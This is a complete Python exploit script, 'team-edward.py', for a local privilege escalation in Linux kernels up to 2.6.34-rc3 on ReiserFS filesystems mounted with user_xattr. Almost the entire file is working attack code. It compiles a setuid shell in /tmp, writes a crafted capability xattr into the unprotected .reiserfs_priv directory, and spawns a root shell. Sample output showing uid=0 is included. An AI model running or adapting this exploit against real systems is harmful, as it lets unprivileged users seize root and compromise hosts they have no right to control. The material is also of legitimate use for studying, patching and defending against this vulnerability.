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- #!/usr/bin/env python
- '''
- team-edward.py
- Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
- Jon Oberheide <jon@oberheide.org>
- http://jon.oberheide.org
- Information:
- https://bugzilla.redhat.com/show_bug.cgi?id=568041
- The kernel allows processes to access the internal ".reiserfs_priv"
- directory at the top of a reiserfs filesystem which is used to store
- xattrs. Permissions are not enforced in that tree, so unprivileged
- users can view and potentially modify the xattrs on arbitrary files.
- Usage:
- $ python team-edward.py
- [+] checking for reiserfs mount with user_xattr mount option
- [+] checking for private xattrs directory at /.reiserfs_priv/xattrs
- [+] preparing shell in /tmp
- [+] capturing pre-shell snapshot of private xattrs directory
- [+] compiling shell in /tmp
- [+] setting dummy xattr to get reiserfs object id
- [+] capturing post-shell snapshot of private xattrs directory
- [+] found 1 new object ids
- [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
- [+] spawning setuid shell...
- # id
- uid=0(root) gid=0(root) groups=4(adm), ...
- Notes:
- Obviously requires a ReiserFS filesystem mounted with extended attributes.
- Tested on Ubuntu Jaunty 9.10.
- '''
- import os, sys
- SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
- XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
- def err(txt):
- print '[-] error: %s' % txt
- sys.exit(1)
- def msg(txt):
- print '[+] %s' % txt
- def main():
- msg('checking for reiserfs mount with user_xattr mount option')
- f = open('/etc/fstab')
- for line in f:
- if 'reiserfs' in line and 'user_xattr' in line:
- break
- else:
- err('failed to find a reiserfs mount with user_xattr')
- f.close()
- msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
- if not os.path.exists('/.reiserfs_priv/xattrs'):
- err('failed to locate private xattrs directory')
- msg('preparing shell in /tmp')
- f = open('/tmp/team-edward.c', 'w')
- f.write(SHELL)
- f.close()
- msg('capturing pre-shell snapshot of private xattrs directory')
- pre = set(os.listdir('/.reiserfs_priv/xattrs'))
- msg('compiling shell in /tmp')
- ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
- if ret != 0:
- err('error compiling shell, you need gcc')
- msg('setting dummy xattr to get reiserfs object id')
- os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
- if ret != 0:
- err('error setting xattr, you need setfattr')
- msg('capturing post-shell snapshot of private xattrs directory')
- post = set(os.listdir('/.reiserfs_priv/xattrs'))
- objs = post.difference(pre)
- msg('found %s new object ids' % len(objs))
- for obj in objs:
- msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
- f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
- f.write(XATTR)
- f.close()
- msg('spawning setuid shell...')
- os.system('/tmp/team-edward')
- if __name__ == '__main__':
- main()
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